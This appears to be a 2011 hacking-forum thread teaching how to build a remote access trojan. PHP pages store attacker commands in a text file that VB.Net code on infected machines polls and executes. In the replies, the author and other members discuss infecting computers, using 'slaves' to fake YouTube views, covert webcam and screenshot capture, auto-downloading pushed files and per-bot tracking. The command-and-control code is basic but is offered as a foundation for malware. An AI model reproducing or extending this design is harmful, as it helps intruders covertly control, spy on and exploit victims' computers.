

Forum:[Hack Forums](#)

Thread: [How to make a PHP RAT](#)

?Demon - September 25, 2011, 12:20 am

This is a very special tutorial as I haven't seen it anywhere else. I suppose it will be leeches, copied, pasted and everything else, but such is life and this is my contribution.

How does a PHP RAT work?

We have a form which posts data like this:

Code go.php?command=CommandHere

And we have one form to let the user type in their command:

<http://prntscr.com/36wx7>

One to say we got it:

<http://prntscr.com/36wxc>

One text file to store the command, and one file to delete the contents of the text file. So let's go.

What our program does.

You should have a thread, however in this tutorial for simplicity's sake, I'll use a timer.

The timer checks the text file constantly for the command, which is why when we get a new command we go to delete.php to get rid of what we've already read and to conserve bandwidth. Now you may be going "ZOMG ALL THE TIME, THAT'LL KILL MY BANDWIDTH." But you're wrong. The truth is, if we use commands like s:Hello World, which would stand for say hello world. It would still be only 13 bytes at the time it has a command, never mind it not having a command. (0 Bytes.)

So if you do the math, that's if you wish to be astronomical and say 13 bytes a second, which is 780 bytes in a minute, which is 46800 bytes in an hour, that's still only 45.70313 kb an hour, which isn't even a meg! Work it out for yourself if you wish [here](#).

So now that we know how it works, we can begin making it, I'll break the rest into two parts, the client and the server.

The client

Our client just posts a command, you can do this with Commands.php which would look like:

Code <form action="go.php" method="get">

Command: <input type="text" name="command" />

<input type="submit" />

</form>

So we would also need go.php to take the command and do something with it.

go.php:

Code The command <?php echo \$_GET["command"]; ?> has been sent.

</br>

</br>

You may now want to go back.
<?php

```
$myFile = "commands.txt";  
$fh = fopen($myFile, 'w') or die("File Open Failed.");  
fwrite($fh, $_GET["command"]);  
fclose($fh);
```

?>

The top part is just to be fancy and say we got the command, and you can go back now and send another. The second part writes the command to commands.txt, which you would need a blank text file for. So you could use a web browser or web request, or whatever to get the command across and that's the client finished.

The server.

The server is pretty easy too, once we get the command, we split it and we check what it wants, and then we go to delete.php to make the text file blank again.

delete.php:

Code <?php

```
$file = 'commands.txt';  
$fp = fopen($file , 'w');  
fclose($fp);
```

?>

So we're just making commands.txt blank again. However before we can navigate to delete.php and make it blank, we must first read the command, which will happen like so:

Now if you've ever read Live Message Of The Day by Violent, you'd know that we can download a text file in VB.Net, like so:

Code Dim W As New WebClient

Dim DownloadedFile As String = W.DownloadString("Site.com/commands.txt")

So that would be on a timer event or thread, constantly checking. So if it isn't blank we need to do something, right?

So once we've got it, we split it, and if the command is say m meaning MsgBox() we show what we received after : in the MsgBox. The reason I used m as opposed to MsgBox in the commands is, it would make the file much larger, ie 7 bytes to 32 or something.

Code Dim W As New WebClient

Dim DownloadedFile As String = W.DownloadString("Site.com/commands.txt")

Dim Command As String = DownloadedFile.Split(":")(0)

```
Dim AfterCommand As String = DownloadedFile.Split(":")(1)
```

```
'MessageBox.Show("Command: " & sCommand & vbNewLine & "Variable: " & sVariable)
```

```
Select Case Command.ToLower
```

```
Case Is = "m"
```

```
MsgBox(AfterCommand)
```

```
Case Is = "o"
```

```
'Open CD Tray
```

```
Case Is = "c"
```

```
'Close CD Tray
```

```
End Select
```

And then we just navigate to delete.php to make the text file blank again.

The code for delete.php is:

```
Code <?php
```

```
$file = 'commands.txt';  
$fp = fopen($file , 'w');  
fclose($fp);
```

```
?>
```

I hope you enjoyed my tutorial, and any questions feel free to ask. ^.^

Chunked - September 25, 2011, 12:21 am

What were you thinking when you posted this in the VB section?

?Demon - September 25, 2011, 12:22 am

The actual program would be in VB.Net, for example the checking and the splitting, plus the infecting. PHP alone can't do this.

Chunked - September 25, 2011, 12:23 am

(Sep 25, 2011 12:22 AM)?Demon Wrote: [\[CITE\]](#) The actual program would be in VB.Net, for example the checking and the splitting, plus the infecting. PHP alone can't do this. Yeah I see now, there's 1/10 of this tutorial in VB. Nvm I guess. ?

?Demon - September 25, 2011, 12:25 am

Even so, if you were to just have the PHP file, nothing would happen. =P All they do is write to and delete a text file which doesn't really get you anywhere alone.

Dally180 - September 25, 2011, 12:38 am

Do you think it would be possible to make YouTube views like this? Like you put the RAT on heaps of computers then when you want the views you send the URL to them and they view it.

?Demon - September 25, 2011, 12:40 am

You could just put the link in a text file and have them view the text file, choose the link from the first line, and from the second line how many times to view it or something. You shouldn't delete the link after view though or only one person will get it.

Dally180 - September 25, 2011, 12:42 am

(Sep 25, 2011 12:40 AM)?Demon Wrote: [\[CITE\]](#) You could just put the link in a text file and have them view the text file, choose the link from the first line, and from the second line how many times to view it or something. You shouldn't delete the link after view though or only one person will get it. There must be better ways to talk to VB.NET from a webpage. I will look into it.

?Demon - September 25, 2011, 12:45 am

Simplicity is best in my opinion. Just a little text file of 30 bytes or so with a link and a number, consisting of two lines. It's not hard to make, it's bandwidth friendly, not a large program, no portforwarding, etc. It works, and it works well. ^.^

Dally180 - September 25, 2011, 1:13 am

This is giving me allot of ideas for a RAT. Instead of using a txt file you could use a mySQL database.

?Demon - September 25, 2011, 1:16 am

I thought of that too, yet I'll leave it up to people's imaginations. Here's a cool idea though:

If you get a command to screenshot/take a picture of the cam, you upload it to a site like Imgur or something and add the link to a text file of all the links, ie:

Code 9/25/2011 10:15 AM Webcam picture: [Imgur.com/Blahj3h2](http://imgur.com/Blahj3h2)

I think it's a cool idea. ^.^ Plus it wouldn't be limited to just basic commands, you could go all out.

Dally180 - September 25, 2011, 1:27 am

(Sep 25, 2011 01:16 AM)?Demon Wrote: [\[CITE\]](#) I thought of that too, yet I'll leave it up to people's imaginations. Here's a cool idea though:

If you get a command to screenshot/take a picture of the cam, you upload it to a site like Imgur or something and add the link to a text file of all the links, ie:

Code 9/25/2011 10:15 AM Webcam picture: [Imgur.com/Blahj3h2](http://imgur.com/Blahj3h2)

I think it's a cool idea. ^.^ Plus it wouldn't be limited to just basic commands, you could go all out. With an advanced RAT you have the option to send commands to individual computers instead of all of them at once. I wonder how that could be done. I guess you could add an individual text files to each user and when you want just that computer to do the command, you just put the command in their file.

Is there a way to see if the computers/slaves are online or not?

?Demon - September 25, 2011, 1:31 am

I suppose when they connect (since the RAT runs 24/7 trying to check the text file) the first time they connect and the internet is turned on, you send a connection message. Sending specific commands could be done with a database I guess. We'd need to look further into the database getting more advanced. ^.^

Szoki333 - September 25, 2011, 1:45 am

Very nice tutorial! I was looking for this :)

?Demon - September 25, 2011, 1:47 am

Thank you, and anytime dude. ^.^ Plus if look at this MySQL tutorial http://www.keithjbrown.co.uk/vworks/mysql/mysql_p1.php it looks like it has columns, you can store it in the column next to the user possibly?

Submariner - September 25, 2011, 2:05 am

Great tutorial!! thanks alot!! Will be really helpful for some people over here :)

?Demon - September 25, 2011, 2:06 am

Thank you, and for the chat part you could have a form with a PHP IRC, and for the sending files you could have a PHP upload script and then just give the server the link to visit, and on the visit it would auto-download. ^.^

BreastMilk - September 25, 2011, 2:20 am

Nice tutorial mate. It will help some people. It's giving me a few ideas actually. :)

?Demon - September 25, 2011, 2:23 am

I'm glad. ^.^ Anytime. A few people have been PM'ing me, and I'm really happy to help by PM or MSN, but once the question is resolved please post it here since it may help other people too and it s the thread. ^.^

Reflexo - November 17, 2011, 8:37 am

Great tutorial, thanks for share it!

?Demon - November 17, 2011, 8:39 am

(Nov 17, 2011 09:37 AM)Reflexo Wrote: [\[CITE\]](#) Great tutorial, thanks for share it!
Thank you for replying, and you're welcome. ^.^

BreShiE - November 17, 2011, 8:39 am

(Sep 25, 2011 12:22 AM)?Demon Wrote: [\[CITE\]](#) The actual program would be in VB.Net,for example the checking and the splitting, plus the infecting. PHP alone can't do this.
I was just about to say...

I guess this is a nice tutorial, for those whom don't know how to code, but I don't see why you'd teach someone how to do something, if they can't maintain what they're making.

?Demon - November 17, 2011, 8:40 am

(Nov 17, 2011 09:39 AM)VB6 Wrote: [\[CITE\]](#) I was just about to say...

I guess this is a nice tutorial, for those whom don't know how to code, but I don't see why you'd teach someone how to do something, if they can't maintain what they're making.

You live and you learn dude. This is a base for people to build on, anyone can add a new command and therefore better it, so maybe we'll see some awesome creations out of it.

ra1d - November 17, 2011, 8:47 am

Awesome tutorial.

Keep it up mate.

?Demon - November 17, 2011, 8:52 am

(Nov 17, 2011 09:47 AM)Delicious Wrote: [\[CITE\]](#) Awesome tutorial.
Keep it up mate.

Thank you, I appreciate it. ^.^ Any ideas for a new one people?

SIM-701256 - November 17, 2011, 8:52 am

This looks good, Thank you, i will only learn from the php files, because going to create this in C# xD

?Demon - November 17, 2011, 8:55 am

(Nov 17, 2011 09:52 AM)?gcm?rtin Wrote: [\[CITE\]](#) This looks good, Thank you, i will only learn from the php files, because going to create this in C# xD

Thank you and you're welcome, it's pretty straight forward. xD Have fun. :3

bluebadger - November 17, 2011, 9:26 am

Writing to a text file? What are you thinking...

Why not just have it check a commands.php which will not auth if the key that the bot has embedded in it is not true (commands.php?key=AC0BEF9C2), and then it will echo any active commands. Store the commands in a database! You could have multiple trackers (views, failed views, executions, by country, by OS, etc).

Ahh!

BreShiE - November 17, 2011, 9:36 am

(Nov 17, 2011 09:40 AM)?Demon Wrote: [\[CITE\]](#) You live and you learn dude. This is a base for people to build on, anyone can add a new command and therefore better it, so maybe we'll see some awesome creations out of it.

Just to be clear, what exactly do you mean by 'PHP RAT' ?

Because an actual RAT made in PHP isn't possible...

?Demon - November 17, 2011, 9:36 am

(Nov 17, 2011 10:26 AM)bluebadger Wrote: [\[CITE\]](#) Writing to a text file? What are you thinking...

Why not just have it check a commands.php which will not auth if the key that the bot has embedded in it is not true (commands.php?key=AC0BEF9C2), and then it will echo any active commands. Store the commands in a database! You could have multiple trackers (views, failed views, executions, by country, by OS, etc).

Ahh!

Have fun implementing all of that. :3 As stated before, not the best way to do it, just a simple base.